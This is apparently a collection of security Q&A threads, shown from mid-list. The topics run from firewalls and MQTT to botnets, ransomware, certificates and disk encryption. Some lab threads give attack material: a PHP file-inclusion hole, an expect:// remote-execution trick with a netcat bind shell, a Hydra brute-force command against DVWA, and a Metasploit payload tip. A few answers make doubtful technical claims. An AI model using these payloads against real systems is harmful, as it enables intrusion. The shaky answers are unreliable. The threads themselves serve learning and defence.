Rapid7 Nexpose authenticated scan

Tools which authenticated users run locally:

Microsoft Baseline Security Analyzer (checks versions and patches for MS products)
Qualys BrowserCheck (checks browsers, limited (web-related) software, OS patches, and certain OS configuration details like firewall and AV configured)

This latter "tools" category tends to be more limited in scope; for the fullest coverage, look for a scanner that supports either enterprise or cloud-based scope.  (Arguably no one is going to sink the time and money into a tool that they sell for individual system users; the money is in the people who need to use it to protect entire networks).


Is blocking UDP and TCP sufficient to prevent unwanted network activity? I want to be 100% sure that my machine only connects where and when I want it to.
If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure that my machine does not connect anywhere without my approval?

For example, if I did not know about UDP at all and only specified TCP rules on the firewall, I would still be vulnerable to malware and nasty spyware exploiting UDP packets. So technically speaking, is there any other means/protocols apart from UDP and TCP that can be used to communicate with a computer using wired/wireless network connections? Also, can UDP and TCP packets bypass firewalls?

The question has arisen when I installed Little Snitch on my Mac with OS Mavericks and noted that my machine tries to connect to various Apple and third party servers even though I told it that I did not want any info to be collected and sent. Some of the connections were obviously fine (e.g. ntp time syncs), but others were questionable to say the least. I know that hard/software manufacturers potentially can embed backdoors and snitches and so I am trying to figure out how feasible it is in theory (and practice) to have reliable/robust "border control" on my machine.

You said "I want to be 100% sure that my machine only connects where and when I want it to", but do you have a strategy for covering what is sent?

Blocking ports is always a good idea, but to browse the web you'd want to be able to connect out on port 80, and at that point malware has a way to communicate out. You realise this, so you block all IP address destinations too except ones that you allow; great, that should do it. You like stackexchange and want to post there, so you open up to the SE servers, and you probably want Google and some others. At this point you are already vulnerable because malware could send data from your machine to an account on stackexchange, google, or elsewhere by logging in to a specific account and storing base 64'd encrypted data in the account profile for later extracting. Having content filtering might work, but it could be hard to configure. Of course you'll be on the lookout for your firewall alerting to transfers at a time you didn't expect, but smart malware could wait until it sees you sending or receiving data from stackexchange, for example, and send data at the same time to appear to be part of your traffic. Would you then notice the extra connection and traffic, or just assume that it was your browser opening up more than one connection, which it will tend to do anyway?

I've deliberately painted a bleak picture that while improbable, is entirely possible, and so the answer to your question has to be a "No". The only sure fire safe thing is never to connect it to the Internet.


Allow loopback in Iptables? I'm trying to write Iptables rules for a small web server. Almost every source I've encountered recommends to allow loopback access to the web server, but doesn't explain why this is necessary.

What's the purpose of this configuration, and is it really secure?

It can be useful for anything where you want the box to be able to connect to itself but not allow other boxes to connect.

A good example would be a web server running Wordpress and MySQL. You don't want anyone on the web to be able to connect to the SQL server but you want to point Wordpress at 127.0.0.1 for SQL.

There may be some obscure side channel risk, for example if you had a vulnerable version of MySQL running. It might be firewalled off from the rest of the world but a local user could use for privilege escalation. But generally I can't see any problem with it because loopback can only be accessed if your already on the box.

Also I have a feeling it might be used for the box to resolve itself and blocking it could cause errors like "sudo: unable to resolve host [hostname]" but I might be wrong about that.


Cannot exploit elasticsearch on Metasploitable3 I am a newbie to security and have started my learning by downloading Metasploitable 3 and trying to get into it using Metasploit's "script_mvel_rce" module to exploit Elasticsearch 1.1.1

At my home the exploit works and I get meterpreter shell with the following (in first trial without any glitches):
VirtualBox 5.1.14,
Metasploitable 3,
Kali 2016.1,
No proxies

However at work, we have a corporate proxy for internet access, Windows Firewall turned on (that I am not allowed to change) and Symantec AV. However, for host only networks, it should not be an issue (I guess) once the downloads are all done and setup is done.
The setup at work is:
VirtualBox 5.1.26,
Metasploitable 3,
Kali 2017.1

When I try to use the same exploit, the Meterpreter shell gets closed immediately. I am setting the RHOST correctly (FYI :) )

I tried all the following:
(1) compared the metasploit module from home setup (on Kali 2016.1) to that at home (Kali 2017.1). apart from minor print format differences, the module seems similar
(2) disabled firewall on metasploitable 3
(3) disabled host-only network adapter on my host pc (my work computer)
(4) ping work fine (when firewall disabled) between Kali and MS3 and back
(5) on metasploitable 3, I can see a java process running taking high cpu usage

Can someone please suggest what should be my next step to succeed with this exploit?

Thanks in advance

Finally I got it. I was not explicitly setting the payload. Once I used java/meterpreter/reverse_http I got it through.


MQTT without TLS - prevent publish messages from unauthenticated devices I have an use case where I'm not able to use MQTTS/TLS due to constraint on devices.

Our plan is to perform authentication during MQTT CONNECT, passing a JWT token as a password. If I understand correctly MQTT keep a TCP connection open for all subsequent messages.

Given a standard MQTT broker (like HiveMQ, VerneMQ, ...), it is possible for an attacker to PUBLISH mqtt message without calling the CONNECT first?

Of course they can potentially sniff the JWT token and call the CONNECT, but this token will be valid only for a short period of time... And we can also put in place some auditing on CONNECT to try to prevent attacks (IP filtering, ...).

I known that in any case this will not be a secure proof solution, but this will be used only on a small set of devices, hopefully for a short period of time.

My concern is if an attacker can just send traffic "on behalf of another TCP connection"? Calling PUBLISH without first calling CONNECT. Maybe this doesn't make sense ...

As far as I know the first operation that needs to do after the TCP handshake is a CONNECT. So in theory nobody can send a PUBLISH message on the first MQTT pdu. But I will be worried if the implementation of your devices allows to receive messages without a CONNECT message. So it would be a good idea to verify if the implementation on your devices respect the order, first a CONNECT, by using a library that verify your concerns.


Database security: Remove superuser role I've recently heard on some IT-SEC conference, that good idea to secure database (probably against privilege-escalation attack) is to remove superuser role, and leave only user roles.

I imagine that as removing eg. possibility of non-shell logging of database system account and leaving only databases and users where they only have permissions on assigned databases.

Is there any security principle which matches this statement?
I'm not convinced, this is right approach.

I'm not sure that Least Privilege is necessarily the correct term for it since least priviledge is more about giving a particular use case no more access than it needs, but it is a fairly established principal that if a feature is not used by any use case, it should be disabled.

Security is about balancing risk vs usability.  If a feature has the ability to be abused and is not used, then it is an easy risk to balance.  Since there is no benefit and there is risk, you remove it.  If there is benefit, then the benefit of the feature must be evaluated compared to the risk of a privilege escalation managing to get a hold of that functionality.


Basic Authentication with WebAPI and HTML/JS Client? I just purchased Badri L's Pro ASP.NET Web API Security in an attempt to learn the least-expensive means to securing my WebAPI, in terms of time-to-implement.  I have zero experience with security and am looking for a solution that is "good enough" to get the app usable without sending plaintext over the wire.

The app is built on .NET Web API and serves JSON to HTML/JS SPA clients.  Eventually the clients will require their own API keys.

For now, I need to allow users to securely login and register using a username/password from these clients.

I began to implement Basic Authentication per Chapter 8 "Knowledge Factors" in the above mentioned book because of the simplicity, however it seems like this forces the clients to use a browser dialog to collect credentials, instead of collecting from a form.

Is there any way to get around this and use a form?  If not, what would you suggest as an alternative security solution?

I was considering Forms Authentication but I'm not sure what the pros/cons are in the context of WebAPI; there's no mention of it in the book.

The data which is sent on the wire is not usually programmers' work and it doesn't happen in the program layer, it happens in the transferring time. You could enable SSL on the web server to send and receive encrypted data.


When do encryption viruses run? Viruses that encrypt your files, like the recently very common 'Locky', seem to perform a lot of work before they are 'done'.

I wonder, when do these programs run? They must take quite some time, because they obviously have to read/write a lot of files. Also, they might want to delay showing their presence to the user, so they can encrypt more files before being discovered.

Are they just running in the background, before they decide that it's time to reveal themselves? Doesn't the user see the damage before being told about it?

edit: I would not consider this to be a duplicate, since I was asking when this takes place, not so much how.

From my experience ONLY.

  Are they just running in the background, before they decide that it's time to reveal themselves?

Yes, they run in background and they make encrypted and hidden copies of all the files.

  Doesn't the user see the damage before being told about it?

Not so much! Maybe they can experience some performance decrease when the encryption takes place.

  Why the user doesn't expect a thing?

They make a hidden partition in which they make copies of encrypted files and then the format the main partition copy all the encrypted files and delete the hidden partitions.

How did I recover my files?
In my case they used Bitlocker (no TPM) as an encryption tool and I applied the old technique of mounting the HDD (Elcomsoft Forensic Disk Decryptor).

Short answer of how they work:

Infect

Encrypt and hidden copy

Replace original with copy

Restart

Display message


How does the server-client scheme work in a botnet? I am having trouble wrapping my head around the idea on how a server-client botnet structure actually works.

Let's say that the server is A, and the client is B.

We know A is listening always on port 1000, and A is the infected machine.
We know B is the attacker on his end and can connect to A at anytime since there is an open port and server running on the infected machine.

My question is how does B (the attacker) even know when A (the infected) is online, if B (the attacker) does not have a server running listening for connections incoming from infected machines?

For example if the attacker is spreading his install file for his botnet, how would they even know when computers are infected with their server indeed running if he does not have something listening for established connections?

Thanks in advance.

The Client-Server model in botnets is just the same (with maybe some pimps from botnet family to other) as any client<->server model, its setup like a network with one or more main server(s) that control the transmission of informations from and between each client. As for RATs the botmaster have usually a Command and Control (C&C) server (or servers) in order to orchestrate slaves (clients). This model is called Centralized. While there is also Peer-To-Peer model and Hybrid models

Know:

  How does B (the attacker) even know when A (the infected) is online,
  if B (the attacker) does not have a server running listening for
  connections incoming from infected machines?

While far from being exhaustif, here are some ways described in the following slides:

Internet Relay Chat (IRC)

Port 6667 or custom port
join hardcoded channel send
command/instruction via joined channel (PUSH)

HTTP/HTTPS

Port 80, 443
Php based system
Post request (PULL)
Snd.php (register the botnet)
Update.php (update the binary file)
Stat.php (get the command)

P2P

UDP
No fixed port
Supernode (locate where the C&C server)

There are several maneer to perform this, and keep in mind that usually (if not always) that it's A that notifies B of its presence,whether as a new infection or as an online/offline activity.  There is always some kind of Push and Pull methods.

For example once a client of Zeus botnet is infected, he tries to download a config file from the server (B) via HTTP/Getnotifying this way the server of a new infection (called registering):

Some Botnets uses IRC , by setting up some IRC servers, A reports to B and B commands A via IRC commands.

Kraken Botnet for example uses UDP/447 to the C&C server resolved from a fully qualified domain name list.

There is no generic answer, it all depends on the topology/model and how the developers  of the botnet in question are smart/skilled.

You can learn more on how botnets communicate from these links. "Detecting Covert Botnets Using Communication Patterns", "Botnet Communication Patterns"


How secure is the Windows 8 included Anti Virus known as Windows Defender? How secure is the new Windows 8 anti virus known as Windows Defender?

Does it have a protection against malware which uses UAC bypass/process injection/rootkits/process persistence/running the binary directly in the memory? How much can I trust Windows Defender? Is it better than regular AVs like Kaspersky/AntiVir?

Let us analyze each one of the techniques you want the AV to protect against:
UAC Bypass: Any process in the Windows environment running with the trusted root certificate can turn off the UAC bit of its own process, as well as any process spawned by it. This means that if your malicious code can inject itself into a process running with the trusted cert, it will have all the privileges of the injected process. Then, if you create another process, you can easily turn its UAC bit off, because this is a built-in feature of Microsoft Windows. This is the technique employed by the Metasploit framework for UAC Bypass.
Process Injection: Microsoft provides an API called LoadLibrary through which you can load any arbitrary DLL from the disk into a running process. The only thing that malicious code does is load the arbitrary DLL from within memory, and not from the disk. This is achieved through a technique called Reflective DLL Injection, which Meterpreter makes use of as well.
Root Kit Detection: Rootkits operate at ring zero (kernel level), while antivirus products run in userspace. Most of the time, the AV only hooks certain APIs in kernel land. Any process running below the user space cannot be analyzed by the AV. Before Vista, AV products used to load drivers in the kernel for monitoring. However, after the introduction of PatchGuard, that technique can no longer be used by antivirus software.
Running the Process Directly Within Memory: This is an area where AVs have made some progress. Nowadays, even if you are directly interacting with a running process, the AV examines the traffic received by the process from the network, and checks it for malicious signatures. However, there are two shortcomings to this approach: first, it is signature based checking, so it is inherently weak. Secondly, it is done only for common Windows processes such as SMB.

As you can see, the things you most want to protect against, are the kinds of things against which no AV product can effectively defend. Most of the items you have mentioned are not malicious by nature. Rather, these are considered "features." In Windows 8, Windows Defender is the combination of Microsoft Security Essentials and Microsoft Defender software. On the plus side, it is free, and has low performance impact. However, if you really want to protect against the techniques you have mentioned, Windows Defender, or any other AV product, won't be able to provide an effective solution. For these kind of attacks, Microsoft has another product called the Enhanced Mitigation Experience Toolkit (EMET).


How to know when a file was deleted in a NTFS filesystem? Is it possible to know when a file in a NTFS filesystem was deleted? For example, if you have the file in the recycle bin you have the metadata file that stores when the file was sent to the recycle bin. However, if the file was never in the recycle bin or the recycle bin was emptied, how can you know the timestamp of the deletion of a file?

Although it were not possible to know the exact date and time, is it possible to have a date interval?

EDIT: I know there exist multiple solutions that can be installed or configured to monitor deletion of files but I'm talking about the case you receive a HD and you have to do a forensic analysis of it. In that case you probabibly would have only what it is installed by default.

You cannot always get an exact answer in forensics.  Sometimes the result is a time range of possibility.  That said, you can get exact answers sometimes.

For your scenario, it depends on what version of Windows was used to create and maintain this volume.

NTFS has long supported journaling (short term logging) in the file named $LogFile in the root of the volume.  You won't find a large amount of records in here since it is designed to be a recovery mechanism, but if you get the disk within a certain amount of time after the delete action you have a chance of finding it in there.  Many of the forensic tools (such as EnCase) are able to parse this log, but here is an open source tool with more information.

https://code.google.com/p/mft2csv/wiki/LogFileParser

If you are examining a Vista or newer system, you may find that there is a longer running log in place on the disk.  This logging was a capability in earlier versions of NTFS, but it was not enabled by default until Vista.  The file is called $UsnJrnl and is located in a folder called $Extend.  This file logs every action that happens to a file: rename, move, create, delete, etc.  Again, many of the forensic tools will parse this out, but here is an open source link for use.

https://code.google.com/p/parser-usnjrnl/


How to open a shell using LFI or RFI exploits? I am completing some online labs to do with cybersecurity and I have been given the task of dealing with a virtual machine of kali linux, to access a basic ip for a website called "yellow". we access it using an ip, our VM does not have an actual internet connection.

Now upon testing for a LFI exploit, there is one, however, it does not do what I want it to do. We are meant to find the token in http://10.102.x.x/description.php?page=instinct.            Using this, I changed the ?page= part to ?page=../../var/www/token.txt.

When i hit enter to see the web-page i was greeted with the message of "In order to get this token you need to get a shell on the box and run the file you can find in /var/www/".

I have no clue how to get a shell onto this webpage. When I try doing it by putting a file in my vm's directory, with the link sort of looking like "" I am given the following warnings, without an output:

Warning: include(http://10.102.x.x/var/www/html/test.txt): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening 'http://10.102.x.x/var/www/html/test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5

description.php has the following code in it:

<?php
$image_name = $_GET['page'];

// Get the description from another file
include($image_name);

?>

I am specifically told to use a shell, and don't have a way around that. How do i upload a shell and exploit the directory that way?

Using PHP wrappers may do the trick as explained here :
https://offsec.vchur.dk/2019/04/16/local-file-inclusion-lfi/

Here is the example quoted from previous link :

http://127.0.0.1/fileincl/example1.php?page=expect://ls

Here is an other example (using inline PHP) from https://www.php.net/manual/en/expect.examples-usage.php :

$stream = fopen("expect://ssh root@remotehost uptime", "r");

Once there, you have ability to RCE and thus craft your own (bind) shell, e.g. :

# Payload on target
nc -lkp 2222 | /bin/sh
# Locally :
nc 10.102.x.x 2222

Note: payload should be URL encoded (e.g. expect://nc%20-lk...)


Setting a temporary cookie to an invalid value when logout improves security? When a session is closed, for example, when a timeout triggers or when the user clicks the logout button, the session should be terminated at server side so the session cookie is invalid.

I think that it could be useful to also set to a blank or invalid value the session cookie in the browser, even if it is a temporary cookie. For example, when you click the Logout button the server could answer with a Set-Cookie that sets an invalid value for the cookie.

Does this measure improve the security of the site or is this "too much" having into account that the cookie is temporary and the session is closed correctly in server-side?

Ultimately with a web application, the security should always reside at the server-side, and as such the important measure when a user is logged out of an application is to ensure that the session is no longer valid on the server-side.

I don't think that there's any harm in invalidating the session on the client-side as well, it might be useful to reduce load on the server as it doesn't need to do a look-up on the session ID to see if it's valid or perhaps to improve user experience in quickly routing a user to the login page.

However setting it on the client-side should not be considered a security measure.


Why do so many browsers show sites with revoked certificates? Everyone seems to agree that it is REALLY important to protect private keys so the encrypted Internet can remain just that (see for example at How do certification authorities store their private root keys?).  Yet, according to www.grc.com and other sources, many browsers, especially mobile ones, do not check sites for revoked certificates due to compromised keys or any other reason (see  https://www.grc.com/revocation.htm).  Even the new mobile version of Firefox for iOS does not seem to check if the site's certificate is revoked.

My question is very simple:  why is this situation tolerated?  It would seem to be important, especially with the increasing popularity of mobile browsers supporting e-commerce...

Checking for revocation is easy. But deciding what to do upon failure is not.

On the site you linked Steve Gibson writes:

  Much of the certificate revocation system is
  badly broken and doesn't actually work!!

Yup.

And further down he writes:

  Good and complete solutions DO exist.

And I don't think that's so. Unfortunately he doesn't go into more detail.

As far as I understand it comes down to the decision of what to do if the revocation check does not yield an answer but just times out.

Do you then err on the side of caution and deny access to the site ("hard fail")?
Or do you err on the side of "well networks are flakey sometimes" and allow access, perhaps after a click-through-message ("soft fail")?

If there actually is an attack against you with a revoked cert, then the attacker will probably control the network anyway and just block communication to the revocation checking server. This is a conceptual shortcoming in revocation checking.

Some ways around the issue with different approaches are:

OCSP must staple extension
short lived certificates

Further reading

https://www.imperialviolet.org/2011/03/18/revocation.html
https://www.imperialviolet.org/2014/04/19/revchecking.html
https://wiki.mozilla.org/CA:RevocationPlan
Update 2015-12-30Wed Excellent post by Hanno Böck about the revocation checking problems. See section Remaing Problems: 2015-11-18, Changes in the TLS certificate ecosystem, Part 2


Are URLs viewed during HTTPS/2 transactions to one or more websites from a single IP distinguishable? This is a follow up to the original question Are URLs viewed during HTTPS transactions to one or more websites from a single IP distinguishable?

D.W. provided an extensive summary on attack vectors on HTTPS/TLS connections.

My question: What are the attack vectors against http/2? Are the attack vectors against HTTP/2 still the same as HTTP or are some of them mitigated by HTTP/2 features?  (and: are there new ones).

HTTP/2 allows serving multiple requests over a single connection, so potentially (?) an eavesdropper would no longer be able to extract size and timing information as in https. Furthermore since a single connection is used, the number and size of resources (other than the total) should be obscured too?

Existing vectors from HTTPS:

  TLS reveals to an eavesdropper the following information:

  the site that you are contacting
  the (possibly approximate) length of the rest of the URL
  the (possibly approximate) length of the HTML of the page you visited (assuming it is not cached)
  the (possibly approximate) number of other resources (e.g., images, iframes, CSS stylesheets, etc.) on the page that you visited (assuming
  they are not cached)
  the time at which each packet is sent and each connection is initiated. (@nealmcb points out that the eavesdropper learns a lot
  about timing: the exact time each connection was initiated, the
  duration of the connection, the time each packet was sent and the time
  the response was sent, the time for the server to respond to each
  packet, etc.)

All those reveals seem (?) to rely on the 1:1 relation between HTTP request and TLS connection. So with that 1:1 relation gone it should/might be harder to extract these information (but eventually not impossible)?

You question acknowledges  that TLS itself protects the real content of the HTTP request (and thus the full URL) and response using encryption. But you also correctly assume that meta data like flow analysis can be used to heuristically reveal the accessed URL in case the attacker can access the same URL to get the same content. Thus the question is only relevant for URL's which are used to access public available (or at least attacker available) content.

HTTP allows in this case flow analysis to narrow down the accessed URL. This means an attacker can scan a site and build a model which includes the size of the request and the size of the response or the inter packet arrival times for each URL. Based on these information the attacker can in many cases heuristically detect which of the (known) URL's on a site the victim is accessing.

With HTTP/2 this gets harder because contrary to HTTP/1.x the requests are not handled sequentially inside the TCP/TLS connection but in parallel. Still I think it is still possible to build a model of the flow pattern which happens when accessing a specific URL. But it might be harder to build such a model since now it is not only needed to get the pattern for a specific URL but instead to get the pattern when a specific URL gets accessed and all the resources gets loaded - and this for various variations of which resources where already cached and which not. Still, I think this is only more work but not a qualitatively harder problem.


Use SSL certificate intended for *.contoso.com on a stand alone server that is not part of contoso.com Suppose I purchase contoso.com from GoDaddy and also purchase a wildcard SSL certificate for *.contoso.com from GoDaddy. I now have a web server on xyz.contoso.com that I can secure with HTTPS using this certificate. Good!

Suppose I also have another website hosted on another server, that is not part of this contoso.com domain (or any domain), can I still use the same wild card certificate for this server, provided I take care of DNS to redirect abc.contoso.com to the IP address of this server ?

I think there are ways in different hosting providers to achieve this by paying for static public IP addresses, correct me if I'm wrong.

If this is possible, then am I just violating the licensing agreements of the SSL certificate as it was intended for one purpose but I'm using it for another (since I'm using it on a different domain) ?
The user is under the assumption that he is accessing some resource within contoso.com, while he is actually hitting a server that is not in contoso.com, but is owned by the same person as the owner of contoso.com.

I gather you intend to use a wildcard cert for *.mydomain.com across two servers with two public IPs and two different subdomains under the same domain name. This is a common scenario.

Provided that:

The wildcard cert is appropriate for the new server. Which it seems like it is, given that both will share the xyz.mydomain.com convention and this very cert is working properly in your existing server.
You provision the DNS entries to balance the queries as desired (you seem to already have taken that into consideration).

There seems to be no technical impediment for your certificates to work and be accepted.

However, consult your issuer's terms of service to rule out acceptable use policy issues. Wildcard certs are designed for just such a use case, however every vendor can enforce their own terms of service. A quick email to their support should solve this aspect.


Is it a risk running old modules on Apache? I just saw that my hoster is running extremly old modules on Apache.

The cURL Version is 3 years old, the SQLLite is from the 24th October 2014 and the zlib version is 1.2.8 instead of 1.2.11. Also, they are running a LibPNG Version 1.2.50 (released I think in 2012 that contains a lot of CVEs).

I told them what I found and they answered that they are doing this sucessfully for 15 years and I shouldn't annoy them.

From security perspective the old modules which is patched for all discovered vulnerabilities will be more secure than the new one's which is may be have many undiscovered vulnerabilities


Can't get into Damn Vulnerable Web App with Hydra even though correct password is supplied I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the real password (password) in it.

Here's the command and the output

user1@kali:~$ hydra -l admin -P '/home/user1/Desktop/easy.txt' 192.168.203.131 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-03-09 22:03:37
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 8 tasks per 1 server, overall 64 tasks, 8 login tries (l:1/p:8), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "aaa" - 1 of 8 [child 0]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "bbb" - 2 of 8 [child 1]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "cccc" - 3 of 8 [child 2]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "ddddd" - 4 of 8 [child 3]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "eee" - 5 of 8 [child 4]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "password" - 6 of 8 [child 5]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "dfsdaf" - 7 of 8 [child 6]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "23456" - 8 of 8 [child 7]
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-03-09 22:04:20

Here's the contents of easy.txt (notice password is in there)

aaa
bbb
cccc
ddddd
eee
password
dfsdaf
23456

Why didn't it work? I can manually log into DVWA using username:admin and password:password from a webbrowser. Also the command takes a couple minutes to complete.

If I read the source for login.php correctly (at https://github.com/RandomStorm/DVWA/blob/master/login.php) the page does a check for an anti-CSRF token. If it is not there, you will get a redirect back to the login page. So you will need to include that token in your tries.

I won't give it away completely but check for a hidden parameter called user_token in your login page.


Serving a local debug apache site from home directory requires 755 perms on directory tree, is this safe on a single-user laptop? I have a few simple web apps deployed on external providers. For testing and debugging I run local instances (on-demand basis, not all the time) on localhost:80 using apache.

These are hosted directly from my Code/ folders since that's where I'm making edits. Previously those folders were on a separate directory tree (/home/data/...../Code) but due to a directory structure reorganization I'm moving the Code folder to my own home folder (~/..../Code). Of course, this means that apache won't allow it to load unless I change permissions on ~ to 755 from 700.

My laptop is single-user, and remote access (as far as I can tell) is only permitted through sshd (key-only, no password logins allowed) and the apache-hosted sites (as I also test how the page will appear on my smartphone sometimes). Am I increasing my risk profile by giving 755 permissions to ~? I'm particularly worried about ~/.ssh and similar sensitive directories, but those already deny read permission to anyone but my own user.

755 is usually the default permission for home directories, but if you want you could limit it to the Code directory and use setfacl to limit it to the apache user only:

# Set exec on parent directories
setfacl -m u:www-data:x ~
setfacl -m u:www-data:x ~/foo
setfacl -m u:www-data:x ~/foo/bar
# Recursively set default acl
setfacl -R -d -m u:www-data:rX ~/foo/bar/Code
# Recursively set acl for existing files
setfacl -R -m u:www-data:rX ~/foo/bar/Code

(props to RichardNixon for reminding me that parent directories will need exec permission)

Note that your apache user could be www-data, httpd, apache, or something else depending on your distro.


How to know whether a RAM module is vulnerable to rowhammer before buying? I'd like to know (or at least perform some reasonable guess) if a RAM is vulnerable to rowhammer attack. I haven't found any list of vulnerable or secure RAM modules. I've seen some general rules (DDR4 is OK, ECC is some mitigation factor), but I can apply none of these.

It is OK to buy a module, test it and return it if it is not OK. But I don't want to do that, say, ten times.

For DDR4:

One DRAM manufacturer, Micron, indicated that they are putting rowhammer mitigations into some of their DDR4 DRAM (see this data sheet).  Other manufacturers might be doing the same.

Note that it is not necessarily true that "DDR4 is OK".  There's nothing in the DDR4 standard that makes DDR4 memory safer than DDR3 memory -- the DDR4 standard does not contain any rowhammer mitigation features.  If DDR4 memory is safer, that would only be because manufacturers are being more careful about their newer memory, such as by implementing rowhammer mitigations internally within the DRAM modules.

For DDR3:

As far as I know, there are no public lists, either official or unofficial, of which DDR3 DRAM parts have the rowhammer fault and which don't.  The DRAM manufacturers haven't published any lists, and no-one has compiled any unofficial lists yet.

You could try asking DRAM manufacturers directly, but I don't know how helpful they would be.

If you pick a DRAM module that you're considering buying, you could try looking up the part number on the manufacturer's web site.  In some cases, you can get the SPD data for the module.  There's a "MAC" (Maximum Activation Count) field in the SPD data.  If MAC="Unlimited", that's supposed to mean "known to be rowhammer-free".  However, the status of this MAC field in the DDR standards is not really clear.  (For some background, see this post.)


Why does Safari seem to be accepting an HTTPS connection every other browser rejects? This question is inspired by a bug/issue in recent Linksys router firmware. Essentially, something has changed recently that's preventing HTTPS access to the web admin on current generation Linksys routers (E4200 and E3000 specifically, although others might be affected as well). This problem shows up in IE, Firefox, Chrome, and Opera, but interestingly not in Safari.

Does Safari handle HTTPS connections in some way that's different from every other browser? Is it accepting SSL certificates that other browsers deem invalid for some reason? I tried doing some research on whether Safari is known to be more lenient when validating SSL certificates but I came up empty. Anyone have any ideas/experience with how Safari handles HTTPS?

Edit: Clarification on "preventing HTTPS access". The error page that gets displayed varies somewhat by browser, but most of them indicate that the connection was reset while the page was loading. IE provides the least informative message simply stating that "Internet Explorer cannot display the webpage". My next step I suppose will be installing Ethereal to see if I can get a better idea of what's actually happening.

With Safari, if it cannot validate the certificate, for example because it is self-signed or is signed by an untrusted CA or, quite often, because the server is not sending the intermediate certificate, you can click the "Continue" button on the error dialog and it will automatically store an exception to trust this certificate for this site for the rest of the session (until you quit the browser).  You also have the option of showing the certificate and explicitly saving it as trusted so it will always be trusted in the future.

There is also a preference option to some kinds of certificate errors in general.  In the Security pane of the Preferences window, you can uncheck "Warn when visiting a fraudulent website."  I believe that just fixes host-certificate name mismatches, not invalid certificates in general, but I'm not sure.


Should a vulnerability in a service that is present on the device, but not running and not used at all, be mentioned in the vulnerability report? Say, I have scanned our Cisco Router, and it returned 20 vulnerabilities back. However, most of them are tied to specific services that this router is not running, for example CVE-2016-6380 - we are not running dns server on our cisco thus we are not vulnerable to it.

On one hand, I should exclude this vulnerability from the report - we are not ACTUALLY vulnerable, and all this white noise quickly adds up and the report becomes useless, because nobody reads it.

On the other hand, what if one day we decide to turn dns or other service on? We won't know we are vulnerable because it is no longer in scope.

So I wonder whether you can point me in the right direction here. I'm currently skimming through NIST 800-115, but can't find the answer yet. Does NIST say anything about it at all?

TLDR

Should a vulnerability in a service that is present on the device, but not running and not used at all, be mentioned in the vulnerability report?

It depends on how your organization uses these kind of reports.

If the people responsible for planning and/or implementing security controls read these documents once and then never look at them again OR see them more as a guideline than actual rules on how to set up an environment, I can see that you might want to refrain from adding too much information into the report. Just because you want to make sure that the vulnerabilites that are acutally present are met with saftey measures.

On the other hand if these are "living" documents that set rules on how controls have to be planned and implemented AND the people who are responsible update these documents if the infrastructure changes at a certain point, you definitely want to include these vulnerabilites.

IMHO as someone who organizes information security in an institution this is the kind of culture you should push for.

If you are afraid that your document will become too cluttered, you can always work with its structure. Something that was done in an organization I worked with, was, that vulnerabilites like this or possible future vulnerabilities were added in an annex to the main document. If the infrastructure was changed in any way, admins could check the annex first, if any of the changes would bring in the vulnerabilities listed there.

One last point I would like to make: although YOU didn't enable those features, this doesn't mean an attacker won't do it after he/she got access to the router. So implementing security measures just in case can be reasonable. This might be something that should be evaluated in a risk analysis though.

To quote ISO/IEC 27005:

  The presence of a vulnerability does not cause harm in itself, as
  there needs to be a threat present to exploit it. A vulnerability that
  has no corresponding threat may not require the implementation of a
  control, but should be recognized and monitored for changes.


Is a Fernet token's timestamp a security risk? A Fernet token has the following format:

Version ‖ Timestamp ‖ IV ‖ Ciphertext ‖ HMAC

As the above shows, the timestamp is not part of the ciphertext, so anyone can read the time the token was made. In a live stream of data this may not be a problem, but for token stored on disk, an attacker may be able to use the creation time to assist cracking. Should the timestamp be encrypted?

Knowing the timestamp would help an attacker only if it affects any of the other token parts. If your IV is dependent on the timestamp, then you've failed already. Getting the entropy of the IV from something that is not dependent of the time it was created is the best way to solve this.

On a higher level knowing the creation time of a token could help the attacker choose the token he wants. Say the attacker knows with some accuracy the time of creation of the token he wants, then he can rule out the ones that are not interesting just by looking at the timestamp. If the IV and the encryption used is strong then this advantage is negligible.


Good way to protect lots of private keys I'm working on a software which deals with lots (several millions) of RSA private keys. Keysize is 2048, I'm going to store them in database in PEM format.

I want keys to be encrypted to mitigate risks of hostile access to database. Naturally, applying passphrase with PKCS#8 comes to mind.

However, I'm not sure it is safe to apply same passphrase to millions of private keys. If someone gets the database, will it be possible for them to decrypt keys, knowing the fact that same passphrase where used?

If PKCS #8 is not safe in this scenario, what better options I have, given fact that I can use same passphrase (or limited number of them) to encrypt data?

Buy yourself an HSM.

Then its your choice :

Store the keys on the HSM; or
Create an encryption key on the HSM and encrypt the keys stored in the databse using the key stored in the HSM.

An HSM-based solution of some description is the only real way to get real assurance against attack.  HSMs are robustly designed for security and explicitly designed to make it impossible to gain access to key-data stored on the HSM.


Is Bitlocker secure against theft even if the TPM is hacked (assuming the machine is hibernating)? Does Bitlocker encrypt the drive only with the Bitlocker recovery key, or does it also encrypt the drive with the Windows login password (so that the attacker would need to guess the login password as well, which would be infeasible for a very complex one) - obviously this describes cases where other forms of login like PIN and smart card is disabled.

Background:

Apparently it's possible for a well funded attacker to extract cryptographic keys from a TPM. Obviously this would only be a realistic threat if the system held many millions of dollars worth of information, but it's still a threat to many large companies that allow their employees to take work computers outside the office.

EDIT: This assumes outright theft of the computer, as opposed to an evil maid attack (otherwise the attacker could just use a keylogger or something)

